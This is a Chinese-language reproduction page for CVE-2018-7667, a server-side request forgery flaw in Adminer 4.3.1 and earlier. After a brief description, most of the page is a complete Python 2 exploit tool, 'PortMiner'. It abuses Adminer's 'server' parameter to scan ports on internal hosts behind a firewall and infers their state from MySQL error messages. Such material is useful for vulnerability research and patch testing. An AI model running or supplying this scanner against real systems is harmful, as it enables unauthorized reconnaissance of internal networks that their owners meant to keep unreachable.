(CVE-2018-7667)服务器端请求伪造漏洞
一、漏洞简介
Adminer 4.3.1及之前版本存在服务器端请求伪造漏洞。攻击者可借助‘server’参数利用该漏洞绕过防火墙,确定内部主机,扫描其他服务器的端口。
二、漏洞影响
Adminer<=4.3.1
三、复现过程
poc
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name
from os import system as system_call
#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#=========================
#D1rty0Tis says hi.
#timeout
MAX_TIME=32
#ports to log
port_lst=[]
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443']
BANNER='''
____ _ __ __ _
| _ \ | | | \/ (_)
| |__) |__ _ __| |_| \ / |_ _ __ ___ _ __
| ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__|
| | | (_) | | | |_| | | | | | | | __/ |
|_| \___/|_| \__|_| |_|_|_| |_|\___|_|
'''
def info():
print "\nPortMiner depends on Error messages to determine open/closed ports."
print "Read operations reported 'timed out' may be open/filtered.\n"
def greet():
print 'Adminer Unauthenticated SSRF Port Scanner Tool'
print 'Targets Adminer used for MySQL administration\n'
print 'by hyp3rlinx - apparition security'
print '-----------------------------------------------------\n'
print 'Scan small ranges or single ports or expect to wait.\n'
print 'Do not scan networks without authorized permission.'
print 'Author not responsible for abuse/misuse.\n'
def chk_ports(p):
p=p.replace('-',',')
port_arg=p.split(',')
try:
if len(port_arg)>1:
if int(port_arg[1]) < int(port_arg[0]):
print 'Port range not valid.'
raw_input()
return
if int(port_arg[1])>65535:
print 'Exceeded max Port range 65535.'
raw_input()
return
except Exception as e:
print str(e)
return None
return list(range(int(port_arg[0]),int(port_arg[1])+1))
def log(IP):
try:
file=open('PortMiner.txt', 'w')
file.write(IP+'\n')
for p in port_lst:
file.write(p+'\n')
file.close()
except Exception as e:
print str(e)
print "\nSee PortMiner.txt"
def use_ssl(ADMINER,ADMINER_PORT):
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADMINER,int(ADMINER_PORT)))
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.close()
except Exception as e:
print ""
return False
return True
def version(ip,port,uri,use_ssl):
res=""
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,int(port)))
if use_ssl:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')
except Exception as e:
print 'Host up but cant connect.' #str(e)
print 'Re-check Host/Port/URI.'
s.close()
return 504
while True:
RES=s.recv(512)
if RES.find('Forbidden')!=-1:
print 'Forbidden 403'
s.close()
return None
if RES.find('401 Authorization Required')!=-1:
print '401 Authorization Required'
s.close()
return None
ver = re.findall(r'<span class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE)
if not RES:
s.close()
return None
if ver:
print 'Your Adminer '+ ver[0] + ' works for us now.'
s.close()
return ver
s.close()
return None
def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
global MAX_TIME,port_range
RES=''
print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
for aPort in port_range:
aPort=str(aPort)
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(MAX_TIME)
s.connect((ADMINER,ADMINER_PORT))
if USE_SSL:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
except Exception as e:
print str(e)
s.close()
return
while True:
try:
RES=s.recv(512)
###print RES
###Should see HTTP/1.1 403 not 200
if RES.find('HTTP/1.1 200 OK')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
if RES.find('400 Bad Request')!=-1:
print '400 Bad Request, check params'
s.close()
break
raw_input()
lst=re.findall(r"([^\n<div class='error'>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
"|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)
if lst:
status=str(lst)
if status.find('connect to MySQL')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('machine actively refused it.')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('A connection attempt failed')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('reading initial communication packet')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('MySQL server has gone away')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('Bad file descriptor')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('Got packets out of order')!=-1:
print 'port '+aPort + ' open'
s.close()
break
except Exception as e:
msg = str(e)
###print msg
if msg.find('timed out')!=-1 and aPort in false_pos_ports:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif msg.find('timed out')!=-1:
print 'port '+aPort + ' timed out'
port_lst.append(aPort+' read operation timed out')
s.close()
break
else:
s.close()
break
if port_lst:
log(TARGET)
else:
print "Scan completed, no ports mined."
return 0
def arp(host):
args = "-a" if system_name().lower()=="windows" else "-e"
return subprocess.call("arp " + args + " " + host, shell=True) == 0
def ping_host(host):
args = "-n 1" if system_name().lower()=="windows" else "-c 1"
res=subprocess.call("ping " + args + " " + host, shell=True) == 0
if not res:
print str(host) + ' down? trying ARP'
if not arp(host):
print str(host) + ' unreachable.'
return
return res
def main():
global port_range
print BANNER
greet()
ADMINER_VERSION=False
PRINT_CLOSED=False
USE_SSL=None
ADMINER=raw_input('[+] Adminer Host/IP> ')
if ADMINER=='':
print 'Enter valid Host/IP'
ADMINER=raw_input('[+] Adminer Host/IP> ')
ADMINER_PORT=raw_input('[+] Adminer Port> ')
if not re.search("^\d{1,5}$",ADMINER_PORT):
print 'Enter a valid Port.'
ADMINER_PORT=raw_input('[+] Adminer Port> ')
ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
TARGET=raw_input('[+] Host/IP to Scan> ')
PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
if not plst:
print 'Invalid ports, format is 1-1025'
return
raw_input() #console up
port_range=chk_ports(PORTS_TO_SCAN)
if not port_range:
return
PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
if PRINT_CLOSED=='1':
PRINT_CLOSED=True
else:
PRINT_CLOSED=False
if not ping_host(ADMINER):
print 'host %s not reachable or blocking ping ' % ADMINER
cont=raw_input('Continue with scan? 1=Yes any key for No> ')
if cont!='1':
print 'Scan aborted.'
raw_input() #console up
return
USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
time.sleep(2)
ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)
if not ADMINER_VERSION:
print "Can't retrieve Adminer script. check supplied URI."
raw_input() #console up
return
else:
if ADMINER_VERSION==504:
raw_input() #console up
return
if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
more=raw_input('Info: 1=Yes, any key for No> ')
if more=='1':
info()
raw_input() #console up
if __name__=='__main__':
main()